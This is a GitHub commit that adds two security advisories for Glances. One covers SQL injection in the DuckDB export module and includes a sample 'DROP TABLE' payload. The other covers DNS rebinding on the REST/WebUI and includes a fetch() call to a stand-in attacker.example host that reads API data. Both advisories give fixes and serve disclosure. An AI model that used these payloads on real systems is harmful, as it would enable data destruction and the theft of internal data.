Skip to content

Commit d10d823

Browse files
1 parent 5effcd4 commit d10d823

File tree

3 files changed

+199
-0
lines changed

3 files changed

+199
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-49g7-2ww7-3vf5",
4+
"modified": "2026-03-16T16:34:03Z",
5+
"published": "2026-03-16T16:34:03Z",
6+
"aliases": [
7+
"CVE-2026-32611"
8+
],
9+
"summary": "Glances has a SQL Injection in DuckDB Export via Unparameterized DDL Statements",
10+
"details": "## Summary\n\nThe GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names.\n\n## Details\n\nThe DuckDB export module constructs SQL DDL statements by directly interpolating stat field names and plugin names into f-strings.\n\n**Vulnerable CREATE TABLE construction** (`glances/exports/glances_duckdb/__init__.py:156-162`):\n\n```python\ncreate_query = f\"\"\"\nCREATE TABLE {plugin} (\n{', '.join(creation_list)}\n);\"\"\"\nself.client.execute(create_query)\n```\n\nThe `creation_list` is built from stat dictionary keys in the `update()` method (`glances/exports/glances_duckdb/__init__.py:117-118`):\n\n```python\nfor key, value in plugin_stats.items():\n creation_list.append(f\"{key} {convert_types[type(self.normalize(value)).__name__]}\")\n```\n\nThe INSERT statement also uses the unescaped `plugin` name (`glances/exports/glances_duckdb/__init__.py:172-174`):\n\n```python\ninsert_query = f\"\"\"\nINSERT INTO {plugin} VALUES (\n{', '.join(['?' for _ in values])}\n);\"\"\"\n```\n\nWhile INSERT values use `?` placeholders (safe), the table name `{plugin}` is directly interpolated in both CREATE TABLE and INSERT INTO statements. Column names in creation_list are also directly interpolated without quoting.\n\n**Comparison with the TimescaleDB fix (commit 39161f0):**\n\nThe TimescaleDB fix addressed this exact pattern by:\n1. Using `psycopg.sql.Identifier()` for table and column names\n2. Using `psycopg.sql.SQL()` for composing queries\n3. Using `%s` placeholders for all values\n\nThe DuckDB module was not part of this fix despite having the same vulnerability class.\n\n**Attack vector:**\n\nThe primary attack vector is through stat dictionary keys. While most keys come from hardcoded psutil field names (e.g., `cpu_percent`, `memory_usage`), any future plugin that introduces dynamic keys from external data (container labels, custom metrics, user-defined sensor names) would create an exploitable injection path. Additionally, the table name (`plugin`) comes from the internal plugins list, but any custom plugin with a crafted name could inject SQL.\n\n## PoC\n\nThe injection is demonstrable when column or table names contain SQL metacharacters:\n\n```python\n# Simulated injection via a hypothetical plugin with dynamic keys\n# If a stat dict contained a key like:\n# \"cpu_percent BIGINT); DROP TABLE cpu; --\"\n# The creation_list would produce:\n# \"cpu_percent BIGINT); DROP TABLE cpu; -- VARCHAR\"\n# Which in the CREATE TABLE f-string becomes:\n# CREATE TABLE plugin_name (\n# time TIMETZ,\n# hostname_id VARCHAR,\n# cpu_percent BIGINT); DROP TABLE cpu; -- VARCHAR\n# );\n```\n\n```bash\n# Verify with DuckDB export enabled:\n# 1. Configure DuckDB export in glances.conf:\n# [duckdb]\n# database=/tmp/glances.duckdb\n\n# 2. Start Glances with DuckDB export and debug logging\nglances --export duckdb --debug 2>&1 | grep \"Create table\"\n\n# 3. Observe the unescaped SQL in debug output\n```\n\n## Impact\n\n- **Defense-in-depth gap:** The identical vulnerability pattern was identified and fixed in TimescaleDB (GHSA-x46r) but the fix was not applied to the sibling DuckDB module. This represents an incomplete patch that leaves the same attack surface open through a different code path.\n\n- **Future exploitability:** If any Glances plugin is added or modified to produce stat dictionary keys from external/user-controlled data (e.g., container metadata, custom metric names, SNMP OID labels), the DuckDB export would become immediately exploitable for SQL injection without any additional code changes.\n\n- **Data integrity:** A successful injection in the CREATE TABLE statement could corrupt the DuckDB database, create unauthorized tables, or modify schema in ways that affect other applications reading from the same database file.\n\n## Recommended Fix\n\nApply the same parameterization approach used in the TimescaleDB fix. DuckDB supports identifier quoting with double quotes:\n\n```python\n# glances/exports/glances_duckdb/__init__.py\n\ndef _quote_identifier(name):\n \"\"\"Quote a SQL identifier to prevent injection.\"\"\"\n # DuckDB uses double-quote escaping for identifiers\n return '\"' + name.replace('\"', '\"\"') + '\"'\n\ndef export(self, plugin, creation_list, values_list):\n \"\"\"Export the stats to the DuckDB server.\"\"\"\n logger.debug(f\"Export {plugin} stats to DuckDB\")\n\n table_list = [t[0] for t in self.client.sql(\"SHOW TABLES\").fetchall()]\n if plugin not in table_list:\n # Quote table and column names to prevent injection\n quoted_plugin = _quote_identifier(plugin)\n quoted_fields = []\n for item in creation_list:\n parts = item.split(' ', 1)\n col_name = _quote_identifier(parts[0])\n col_type = parts[1] if len(parts) > 1 else 'VARCHAR'\n quoted_fields.append(f\"{col_name} {col_type}\")\n\n create_query = f\"CREATE TABLE {quoted_plugin} ({', '.join(quoted_fields)});\"\n try:\n self.client.execute(create_query)\n except Exception as e:\n logger.error(f\"Cannot create table {plugin}: {e}\")\n return\n\n self.client.commit()\n\n # Insert with quoted table name\n quoted_plugin = _quote_identifier(plugin)\n for values in values_list:\n insert_query = f\"INSERT INTO {quoted_plugin} VALUES ({', '.join(['?' for _ in values])});\"\n try:\n self.client.execute(insert_query, values)\n except Exception as e:\n logger.error(f\"Cannot insert data into table {plugin}: {e}\")\n\n self.client.commit()\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-49g7-2ww7-3vf5"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nicolargo/glances/commit/63b7da28895249d775202d639e5531ba63491a5c"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nicolargo/glances"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-89"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-16T16:34:03Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-hhcg-r27j-fhv9",
4+
"modified": "2026-03-16T16:34:23Z",
5+
"published": "2026-03-16T16:34:23Z",
6+
"aliases": [
7+
"CVE-2026-32632"
8+
],
9+
"summary": "Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding",
10+
"details": "## Summary\n\nGlances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist.\n\nAs a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.\n\nThis is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.\n\n## Details\n\nThe MCP endpoint now has explicit host-based transport security:\n\n```python\n# glances/outputs/glances_mcp.py\nself.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n...\nreturn TransportSecuritySettings(\n allowed_hosts=allowed_hosts,\n allowed_origins=allowed_origins,\n)\n```\n\nHowever, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:\n\n```python\n# glances/outputs/glances_restful_api.py\nself._app = FastAPI(default_response_class=GlancesJSONResponse)\n...\nself._app.add_middleware(\n CORSMiddleware,\n allow_origins=config.get_list_value('outputs', 'cors_origins', default=[\"*\"]),\n allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),\n allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n...\nif self.args.password and self._jwt_handler is not None:\n self._app.include_router(self._token_router())\nself._app.include_router(self._router())\n```\n\nThere is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface.\n\nThe default bind configuration also exposes the service on all interfaces:\n\n```python\n# glances/main.py\nparser.add_argument(\n '-B',\n '--bind',\n default='0.0.0.0',\n dest='bind_address',\n help='bind server to the given IPv4/IPv6 address or hostname',\n)\n```\n\nThis combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.\n\nThe token endpoint is also mounted on the same unprotected FastAPI app:\n\n```python\n# glances/outputs/glances_restful_api.py\ndef _token_router(self) -> APIRouter:\n ...\n router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])\n```\n\n## Why This Is Exploitable\n\nIn a DNS rebinding attack:\n\n1. The attacker serves JavaScript from `https://attacker.example`.\n2. The victim visits that page while a Glances instance is reachable on the victim network.\n3. The attacker's DNS for `attacker.example` is rebound from the attacker's server to the Glances IP address.\n4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances.\n5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response.\n6. The attacker-controlled JavaScript can read the response as same-origin content.\n\nThe MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.\n\n## Proof of Concept\n\nThis issue is code-validated by inspection of the current implementation:\n\n- REST/WebUI/token are all mounted on a plain `FastAPI(...)` app\n- no `TrustedHostMiddleware` or equivalent host validation is applied\n- default bind is `0.0.0.0`\n- MCP has separate rebinding protection, showing the project already recognizes the threat model\n\nIn a live deployment, the expected verification is:\n\n```bash\n# Victim-accessible Glances service\nglances -w\n\n# Attacker-controlled rebinding domain first resolves to attacker infra,\n# then rebinds to the victim-local Glances IP.\n# After rebind, attacker JS can fetch:\nfetch(\"http://attacker.example:61208/api/4/status\")\n .then(r => r.text())\n .then(console.log)\n```\n\nAnd if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as:\n\n```bash\nGET /api/4/status\nGET /api/4/all\nGET /api/4/config\nGET /api/4/args\nGET /api/4/serverslist\n```\n\nEven on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.\n\n## Impact\n\n- **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.\n- **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.\n- **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.\n- **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.\n\n## Recommended Fix\n\nApply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:\n\n```python\nfrom starlette.middleware.trustedhost import TrustedHostMiddleware\n\nallowed_hosts = config.get_list_value(\n 'outputs',\n 'allowed_hosts',\n default=['localhost', '127.0.0.1'],\n)\n\nself._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)\n```\n\nAt minimum:\n\n- reject requests whose `Host` header does not match an explicit allowlist\n- do not rely on `0.0.0.0` bind semantics as an access-control boundary\n- document that reverse-proxy deployments must set a strict host allowlist\n\n## References\n\n- `glances/outputs/glances_mcp.py`\n- `glances/outputs/glances_restful_api.py`\n- `glances/main.py`",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "Glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-hhcg-r27j-fhv9"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nicolargo/glances/commit/5850c564ee10804fdf884823b9c210eb954dd1f9"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/nicolargo/glances"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-346"
59+
],
60+
"severity": "MODERATE",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-16T16:34:23Z",
63+
"nvd_published_at": null
64+
}
65+
}

0 commit comments

Comments
 (0)